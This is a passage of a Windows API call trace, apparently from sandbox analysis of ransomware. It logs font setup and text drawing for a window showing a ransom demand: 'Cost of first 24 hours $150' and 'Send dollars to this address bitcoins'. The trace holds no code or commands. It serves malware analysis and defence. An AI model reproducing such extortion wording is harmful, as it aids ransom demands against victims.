dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.418] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0152.418] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.418] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0152.418] CreateFontIndirectW (lplf=0xeeac10) returned 0x3b0a071a [0152.419] CoTaskMemFree (pv=0xeeac10) [0152.419] GetObjectW (in: h=0x3b0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.419] SelectObject (hdc=0x8e0106dd, h=0x3b0a071a) returned 0x660a0541 [0152.419] DeleteObject (ho=0x660a0541) returned 1 [0152.419] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb3ea4 | out: psizl=0x2fb3ea4) returned 1 [0152.420] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.420] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.420] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.420] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.420] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.420] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0152.421] CreateFontIndirectW (lplf=0xeeae18) returned 0x670a0541 [0152.421] CoTaskMemFree (pv=0xeeae18) [0152.421] GetObjectW (in: h=0x670a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.421] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb40c0 | out: psizl=0x2fb40c0) returned 1 [0152.421] DeleteObject (ho=0x670a0541) returned 1 [0152.421] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.421] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.421] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.421] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.421] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.421] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0152.421] CreateFontIndirectW (lplf=0xeeac10) returned 0x680a0541 [0152.422] CoTaskMemFree (pv=0xeeac10) [0152.422] GetObjectW (in: h=0x680a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.422] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb42f4 | out: psizl=0x2fb42f4) returned 1 [0152.422] DeleteObject (ho=0x680a0541) returned 1 [0152.422] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.422] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Cost of", cchText=7, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb439c | out: lpchText="Cost of", lprc=0x19df5c) returned 33 [0152.422] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetCurrentThreadId () returned 0x390 [0152.422] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.423] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.423] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.423] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.423] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.423] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.423] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.423] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.423] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0152.423] CreateFontIndirectW (lplf=0xeeaba8) returned 0x690a0541 [0152.423] CoTaskMemFree (pv=0xeeaba8) [0152.423] GetObjectW (in: h=0x690a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.424] SelectObject (hdc=0x8e0106dd, h=0x690a0541) returned 0x3b0a071a [0152.424] DeleteObject (ho=0x3b0a071a) returned 1 [0152.424] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb48ec | out: psizl=0x2fb48ec) returned 1 [0152.424] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.424] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.425] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x41900000, style=1, unit=0x3, font=0x2fb4994) returned 0x0 [0152.425] GdipGetFontSize (font=0x6911aa0, size=0x2fb4998) returned 0x0 [0152.425] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.425] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df28, language=0x409 | out: name="Arial") returned 0x0 [0152.425] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.425] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0152.425] CreateFontIndirectW (lplf=0xeeadb0) returned 0x3c0a071a [0152.425] CoTaskMemFree (pv=0xeeadb0) [0152.425] GetObjectW (in: h=0x3c0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.425] SelectObject (hdc=0x8e0106dd, h=0x3c0a071a) returned 0x690a0541 [0152.425] DeleteObject (ho=0x690a0541) returned 1 [0152.425] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb4c30 | out: psizl=0x2fb4c30) returned 1 [0152.426] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.426] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.426] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.426] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.426] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.426] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0152.426] CreateFontIndirectW (lplf=0xeeaf50) returned 0x6a0a0541 [0152.426] CoTaskMemFree (pv=0xeeaf50) [0152.427] GetObjectW (in: h=0x6a0a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.427] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb4e28 | out: psizl=0x2fb4e28) returned 1 [0152.427] DeleteObject (ho=0x6a0a0541) returned 1 [0152.427] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.427] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.427] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.427] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.427] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.427] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0152.427] CreateFontIndirectW (lplf=0xeeb228) returned 0x6b0a0541 [0152.427] CoTaskMemFree (pv=0xeeb228) [0152.427] GetObjectW (in: h=0x6b0a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.428] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb5038 | out: psizl=0x2fb5038) returned 1 [0152.428] DeleteObject (ho=0x6b0a0541) returned 1 [0152.428] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.428] DrawTextExW (in: hdc=0x8e0106dd, lpchText="first 24 hours", cchText=14, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb50f0 | out: lpchText="first 24 hours", lprc=0x19df5c) returned 29 [0152.428] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.428] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.428] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.428] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.428] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.429] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0152.429] CreateFontIndirectW (lplf=0xeeac78) returned 0x6c0a0541 [0152.429] CoTaskMemFree (pv=0xeeac78) [0152.429] GetObjectW (in: h=0x6c0a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.429] SelectObject (hdc=0x8e0106dd, h=0x6c0a0541) returned 0x3c0a071a [0152.429] DeleteObject (ho=0x3c0a071a) returned 1 [0152.429] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb5368 | out: psizl=0x2fb5368) returned 1 [0152.430] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.430] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.430] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2fb541c) returned 0x0 [0152.430] GdipGetFontSize (font=0x6911a78, size=0x2fb5420) returned 0x0 [0152.430] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.430] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0152.430] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.430] CoTaskMemAlloc (cb=0x5c) returned 0xeeadb0 [0152.430] CreateFontIndirectW (lplf=0xeeadb0) returned 0x3d0a071a [0152.430] CoTaskMemFree (pv=0xeeadb0) [0152.430] GetObjectW (in: h=0x3d0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.430] SelectObject (hdc=0x8e0106dd, h=0x3d0a071a) returned 0x6c0a0541 [0152.430] DeleteObject (ho=0x6c0a0541) returned 1 [0152.431] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb56dc | out: psizl=0x2fb56dc) returned 1 [0152.431] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.431] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.431] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.432] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.432] CoTaskMemAlloc (cb=0x5c) returned 0xeeb0f0 [0152.432] CreateFontIndirectW (lplf=0xeeb0f0) returned 0x6d0a0541 [0152.432] CoTaskMemFree (pv=0xeeb0f0) [0152.432] GetObjectW (in: h=0x6d0a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.432] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb58f8 | out: psizl=0x2fb58f8) returned 1 [0152.432] DeleteObject (ho=0x6d0a0541) returned 1 [0152.432] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.432] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.432] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.432] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.433] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.433] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0152.433] CreateFontIndirectW (lplf=0xeeac78) returned 0x6e0a0541 [0152.433] CoTaskMemFree (pv=0xeeac78) [0152.433] GetObjectW (in: h=0x6e0a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.433] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb5b2c | out: psizl=0x2fb5b2c) returned 1 [0152.433] DeleteObject (ho=0x6e0a0541) returned 1 [0152.433] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.433] DrawTextExW (in: hdc=0x8e0106dd, lpchText="$150", cchText=4, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb5bd0 | out: lpchText="$150", lprc=0x19df5c) returned 33 [0152.433] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.434] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.434] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.434] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.434] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.434] CoTaskMemAlloc (cb=0x5c) returned 0xeeac78 [0152.434] CreateFontIndirectW (lplf=0xeeac78) returned 0x6f0a0541 [0152.434] CoTaskMemFree (pv=0xeeac78) [0152.434] GetObjectW (in: h=0x6f0a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.434] SelectObject (hdc=0x8e0106dd, h=0x6f0a0541) returned 0x3d0a071a [0152.434] DeleteObject (ho=0x3d0a071a) returned 1 [0152.434] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb5e48 | out: psizl=0x2fb5e48) returned 1 [0152.435] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.435] GdipCreateFontFamilyFromName (name="Arial Black", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.435] GdipCreateFont (fontFamily=0x57f2240, emSize=0x41900000, style=1, unit=0x3, font=0x2fb5efc) returned 0x0 [0152.435] GdipGetFontSize (font=0x6911ac8, size=0x2fb5f00) returned 0x0 [0152.435] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.435] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.435] GdipGetFamilyName (in: family=0x57f2240, name=0x19df28, language=0x409 | out: name="Arial Black") returned 0x0 [0152.436] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.436] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0152.436] CreateFontIndirectW (lplf=0xeeb228) returned 0x3e0a071a [0152.436] CoTaskMemFree (pv=0xeeb228) [0152.436] GetObjectW (in: h=0x3e0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.436] SelectObject (hdc=0x8e0106dd, h=0x3e0a071a) returned 0x6f0a0541 [0152.436] DeleteObject (ho=0x6f0a0541) returned 1 [0152.436] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb61bc | out: psizl=0x2fb61bc) returned 1 [0152.437] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.437] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.437] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.437] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.437] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.437] CoTaskMemAlloc (cb=0x5c) returned 0xeeaf50 [0152.437] CreateFontIndirectW (lplf=0xeeaf50) returned 0x700a0541 [0152.437] CoTaskMemFree (pv=0xeeaf50) [0152.437] GetObjectW (in: h=0x700a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.437] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb63d8 | out: psizl=0x2fb63d8) returned 1 [0152.437] DeleteObject (ho=0x700a0541) returned 1 [0152.438] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.438] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.438] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.438] GdipGetFamilyName (in: family=0x57f2240, name=0x19df58, language=0x409 | out: name="Arial Black") returned 0x0 [0152.438] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.438] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0152.438] CreateFontIndirectW (lplf=0xeeb228) returned 0x710a0541 [0152.438] CoTaskMemFree (pv=0xeeb228) [0152.438] GetObjectW (in: h=0x710a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.438] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb660c | out: psizl=0x2fb660c) returned 1 [0152.438] DeleteObject (ho=0x710a0541) returned 1 [0152.438] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.438] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Cost of", cchText=7, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb66b4 | out: lpchText="Cost of", lprc=0x19df5c) returned 33 [0152.439] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] GetSystemMetrics (nIndex=5) returned 1 [0152.439] GetSystemMetrics (nIndex=6) returned 1 [0152.439] GetSystemMetrics (nIndex=5) returned 1 [0152.439] GetSystemMetrics (nIndex=6) returned 1 [0152.439] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.439] AdjustWindowRectEx (in: lpRect=0x19e028, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x200 | out: lpRect=0x19e028) returned 1 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] GetCurrentThreadId () returned 0x390 [0152.439] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.440] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.440] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56800000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0f4) returned 1 [0152.440] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.440] AdjustWindowRectEx (in: lpRect=0x19dfa8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19dfa8) returned 1 [0152.440] GdipGetFamilyName (in: family=0x57faee0, name=0x19df70, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0152.440] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.440] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0152.440] CreateFontIndirectW (lplf=0xeeace0) returned 0x720a0541 [0152.440] CoTaskMemFree (pv=0xeeace0) [0152.440] GetObjectW (in: h=0x720a0541, c=92, pv=0x19df34 | out: pv=0x19df34) returned 92 [0152.440] SelectObject (hdc=0x8e0106dd, h=0x720a0541) returned 0x3e0a071a [0152.440] DeleteObject (ho=0x3e0a071a) returned 1 [0152.441] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb6c90 | out: psizl=0x2fb6c90) returned 1 [0152.441] AdjustWindowRectEx (in: lpRect=0x19e080, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e080) returned 1 [0152.441] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.441] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x417c0000, style=1, unit=0x3, font=0x2fb6d38) returned 0x0 [0152.441] GdipGetFontSize (font=0x6911b68, size=0x2fb6d3c) returned 0x0 [0152.441] AdjustWindowRectEx (in: lpRect=0x19df60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df60) returned 1 [0152.442] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df28, language=0x409 | out: name="Arial") returned 0x0 [0152.442] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.442] CoTaskMemAlloc (cb=0x5c) returned 0xeead48 [0152.442] CreateFontIndirectW (lplf=0xeead48) returned 0x3f0a071a [0152.442] CoTaskMemFree (pv=0xeead48) [0152.442] GetObjectW (in: h=0x3f0a071a, c=92, pv=0x19deec | out: pv=0x19deec) returned 92 [0152.442] SelectObject (hdc=0x8e0106dd, h=0x3f0a071a) returned 0x720a0541 [0152.442] DeleteObject (ho=0x720a0541) returned 1 [0152.442] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb6fd4 | out: psizl=0x2fb6fd4) returned 1 [0152.443] AdjustWindowRectEx (in: lpRect=0x19e038, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e038) returned 1 [0152.443] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.443] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.443] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.443] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.443] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0152.443] CreateFontIndirectW (lplf=0xeeafb8) returned 0x730a0541 [0152.443] CoTaskMemFree (pv=0xeeafb8) [0152.443] GetObjectW (in: h=0x730a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.443] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb71cc | out: psizl=0x2fb71cc) returned 1 [0152.444] DeleteObject (ho=0x730a0541) returned 1 [0152.444] AdjustWindowRectEx (in: lpRect=0x19e0c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0c8) returned 1 [0152.444] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.444] AdjustWindowRectEx (in: lpRect=0x19df90, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df90) returned 1 [0152.444] GdipGetFamilyName (in: family=0x57f1f60, name=0x19df58, language=0x409 | out: name="Arial") returned 0x0 [0152.444] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0152.444] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0152.444] CreateFontIndirectW (lplf=0xeeb088) returned 0x740a0541 [0152.444] CoTaskMemFree (pv=0xeeb088) [0152.444] GetObjectW (in: h=0x740a0541, c=92, pv=0x19df1c | out: pv=0x19df1c) returned 92 [0152.444] GetTextExtentPoint32W (in: hdc=0x8e0106dd, lpString="0", c=1, psizl=0x2fb73dc | out: psizl=0x2fb73dc) returned 1 [0152.444] DeleteObject (ho=0x740a0541) returned 1 [0152.445] AdjustWindowRectEx (in: lpRect=0x19df70, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df70) returned 1 [0152.445] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Send dollars to this address bitcoins ", cchText=39, lprc=0x19df5c, format=0x2400, lpdtp=0x2fb74c4 | out: lpchText="Send dollars to this address bitcoins ", lprc=0x19df5c) returned 24 [0152.445] AdjustWindowRectEx (in: lpRect=0x19e048, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e048) returned 1 [0152.449] GdipLoadImageFromStream (stream=0x2a2ff70, image=0x19db90) returned 0x0 [0152.450] GdipImageForceValidation (image=0x6911d18) returned 0x0 [0152.450] GdipGetImageType (image=0x6911d18, type=0x19db8c) returned 0x0 [0152.451] GdipGetImageRawFormat (image=0x6911d18, format=0x19db00*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0152.451] CoTaskMemAlloc (cb=0x12) returned 0xf0d470 [0152.526] GdipImageGetFrameDimensionsCount (image=0x6911d18, count=0x19e078) returned 0x0 [0152.526] GdipImageGetFrameDimensionsList (image=0x6911d18, dimensionIDs=0xef82c0*(Data1=0x6f63736d, Data2=0x6c72, Data3=0x6269, Data4=([0]=0x2e, [1]=0x64, [2]=0x6c, [3]=0x6c, [4]=0x0, [5]=0x0, [6]=0x65, [7]=0x0)), count=0x1) returned 0x0 [0152.528] LocalFree (hMem=0xef82c0) returned 0x0 [0152.528] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.529] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0152.529] AdjustWindowRectEx (in: lpRect=0x19e0f4, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e0f4) returned 1 [0152.529] CoTaskMemAlloc (cb=0x12) returned 0xf0d510 [0152.531] CoTaskMemAlloc (cb=0x12) returned 0xf0d5d0 [0152.532] CoTaskMemAlloc (cb=0x12) returned 0xf0d5b0 [0152.533] GdipCreateFontFamilyFromName (name="Arial", fontCollection=0x0, fontFamily=0x19e158) returned 0x0 [0152.534] GdipCreateFont (fontFamily=0x57f1f60, emSize=0x41640000, style=3, unit=0x3, font=0x2fb9640) returned 0x0 [0152.534] GdipGetFontSize (font=0x6911a00, size=0x2fb9644) returned 0x0 [0152.534] GetDC (hWnd=0x0) returned 0x1b010670 [0152.534] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e108) returned 0x0 [0152.534] GdipGetFontHeight (font=0x6911a00, graphics=0x6913c20, height=0x19e100) returned 0x0 [0152.534] GdipDeleteGraphics (graphics=0x6913c20) returned 0x0 [0152.534] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0152.534] GetDC (hWnd=0x0) returned 0x1b010670 [0152.534] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19e098) returned 0x0 [0152.534] GdipGetFontHeight (font=0x6911a00, graphics=0x6913c20, height=0x19e090) returned 0x0 [0152.535] 